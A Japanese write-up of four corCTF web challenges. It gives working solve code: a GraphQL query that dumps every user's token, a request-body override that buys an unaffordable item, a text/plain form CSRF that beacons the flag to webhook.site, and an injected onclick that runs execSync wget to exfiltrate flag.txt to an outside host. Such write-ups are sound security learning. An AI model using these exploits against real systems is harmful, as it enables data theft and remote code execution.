8/21 - 8/23という日程で開催された。zer0ptsで参加して12位。激ムズだけど面白い問題ばかりだった。
- [Web 323] devme (264 solves)
- [Web 441] buyme (110 solves)
- [Web 469] phpme (64 solves)
- [Web 478] readme (46 solves)
[Web 323] devme (264 solves)
メールの入力ができるフォームがある。適当なメールアドレスを入力して送信してみると {"query":"mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n","variables":{"email":"test@example.com"}}
というJSONが /graphql
というAPIに送られた。GraphQLを使っているらしい。
prisma-labs/get-graphql-schemaでGraphQLスキーマを取得できる。
"""Exposes a URL that specifies the behaviour of this scalar.""" directive @specifiedBy( """The URL that specifies the behaviour of this scalar.""" url: String! ) on SCALAR type Mutation { createUser(email: String!): User } type Query { users: [User]! flag(token: String!): String! } type User { token: String! username: String! }
以下のようなクエリを送ると、登録されているすべてのユーザのトークンが取得できた。admin
のトークンは 3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b
らしい。
query { users { token username } }
以下のようなクエリを送るとフラグが得られた。
query { flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b") }
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}
[Web 441] buyme (110 solves)
旗の購入ができるサイトが与えられた。アメリカやイギリスなどの100ドルの旗に加えて corCTF
という名前の旗もあるが、その価格は1e+300ドルと高すぎる。ユーザ登録して得られるのは100ドルのみであり、譲渡も旗の売却もできないのでこのままではお金を増やす方法はない。
ユーザの情報は以下のように user
(ユーザ名)、flags
(所持している旗の一覧)、money
(所持金)、pass
(ハッシュ化されたパスワード)からなる。
db.users.set(user, { user, flags: [], money: 100, pass: await bcrypt.hash(pass, 12) });
旗の購入時には以下のように /api/buy
というAPIが叩かれる。よく見ると db.buyFlag
に対して引数として渡されるオブジェクトは ...req.body
とスプレッド構文を使って作られている。このオブジェクトの user
プロパティに格納される req.user
自体は改変できないが、req.body
はいくらでも改変できるから、user
というパラメータをPOSTするデータに仕込んでやれば user
プロパティを置き換えることができる。
router.post("/buy", requiresLogin, async (req, res) => { if(!req.body.flag) { return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy")); } try { db.buyFlag({ user: req.user, ...req.body }); } catch(err) { return res.redirect("/flags?error=" + encodeURIComponent(err.message)); } res.redirect("/?message=" + encodeURIComponent("Flag bought successfully")); });
db.buyFlag
は以下のような処理をしている。user
プロパティとして渡すオブジェクトには user
、price
、flag
というプロパティを持たせればよさそう。
const buyFlag = ({ flag, user }) => { if(!flags.has(flag)) { throw new Error("Unknown flag"); } if(user.money < flags.get(flag).price) { throw new Error("Not enough money"); } user.money -= flags.get(flag).price; user.flags.push(flag); users.set(user.user, user); };
以下のように登録から購入まで自動化するスクリプトを書いて実行するとフラグが得られた。
import requests import uuid s = requests.Session() user = str(uuid.uuid4()) s.post('https://buyme.be.ax/api/register', json={ 'user': user, 'pass': str(uuid.uuid4()) }) r = s.post('https://buyme.be.ax/api/buy', json={ 'flag': 'corCTF', 'user': { 'user': user, 'money': 1e308, 'flags': [] } }) print(r.text) print(s.cookies)
$ python3 solve.py | grep cor <img class="card-img-top flag" src="https://ctf.cor.team/assets/img/ctflogo.png" /> <h4 class="card-title">corCTF</h4> <h5 class="card-title">corctf{h0w_did_u_steal_my_flags_you_flag_h0arder??!!}</h4>
[Web 469] phpme (64 solves)
与えられたURLにアクセスすると、以下のようなPHPコードが表示された。secret
というCookieの値が secret.php
から読み込まれたであろう $secret
と一致しており、かつPOSTで与えられたJSONの yep
というプロパティの値が yep yep yep
という文字列であれば、フラグをJSONで指定したURLに送信してくれるJavaScriptコードを出力するらしい。
<?php include "secret.php"; // https://stackoverflow.com/a/6041773 function isJSON($string) { json_decode($string); return json_last_error() === JSON_ERROR_NONE; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) { // https://stackoverflow.com/a/7084677 $body = file_get_contents('php://input'); if(isJSON($body) && is_object(json_decode($body))) { $json = json_decode($body, true); if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) { echo "<script>\n"; echo " let url = '" . htmlspecialchars($json["url"]) . "';\n"; echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n"; echo "</script>\n"; } else { echo "nope :)"; } } else { echo "not json bro"; } } else { echo "ur not admin!!!"; } } else { show_source(__FILE__); } ?>
この問題ではURLを指定するとクロールしてくれるbotも提供されている。そのbotはCookieのチェックはなんとかしてくれるから、JSONのチェックは自分でなんとかしろということだろう。
JSONのチェックでは Content-Type
ヘッダは確認されない。ということでまず form
要素でキーに {"hoge":"fuga
、その値に "}
というような文字列を設定して、最終的に {"hoge":"fuga="}
のようにJSONとしても解釈できるバイト列が送信されるようにすることを考えた。が、よく考えるとそのまま(application/x-www-form-urlencoded
)では {
や "
がパーセントエンコードされてしまう。
実は form
要素の enctype
属性では text/plain
も利用できる。これなら {
や "
はパーセントエンコードされないはず。
以下のようなフォームを用意してbotにアクセスさせると、JSONの url
プロパティで指定したURLにフラグが飛んできた。
<form action="https://phpme.be.ax/" method="POST" enctype="text/plain" id="form"> <input id="i"> <input type="submit"> </form> <script> const input = document.getElementById('i'); i.name = '{"yep":"yep yep yep","url":"https://webhook.site/…","hoge":"'; i.value = '"}'; const form = document.getElementById('form'); form.submit(); </script>
corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}
[Web 478] readme (46 solves)
URLを与えてやると、@mozilla/readability
によってリーダービューで表示してくれるというWebアプリケーションが与えられる。@mozilla/readability
によるコンテンツの抽出はサーバサイドで行われている。
ソースコードを読んでいると、以下のようなページ関連の処理に怪しい部分を見つけた。これはjsdom
を使って next
という文字列をクラス名やテキストに含む a
要素か button
要素について、そのリンク先を取得した、ボタンをクリックしたりして次のページを表示させようとする処理だ。
button
要素の場合は onclick
属性を eval
している。やりたいことはわかるが、なぜわざわざサーバサイドで eval
しているのだろう。
const loadNextPage = async (dom, socket) => { let targets = [ ...Array.from(dom.window.document.querySelectorAll("a")), ...Array.from(dom.window.document.querySelectorAll("button")) ]; targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next")); if(targets.length == 0) return; let target = targets[targets.length - 1]; if(target.tagName === "A") { let newDom = await refetch(socket, target.href); return newDom; } else if(target.tagName === "BUTTON") { dom.window.eval(target.getAttribute("onclick")); return dom; } return; };
以下のようなHTMLを返すWebサイトを投げるとフラグが得られた。
<button class="next" onclick="process.mainModule.require('child_process').execSync('wget http://webhook.site/…/$(cat flag.txt)')">next</button>
corctf{but_wh3re_w1ll_i_r3ad_my_n0vels_now??????}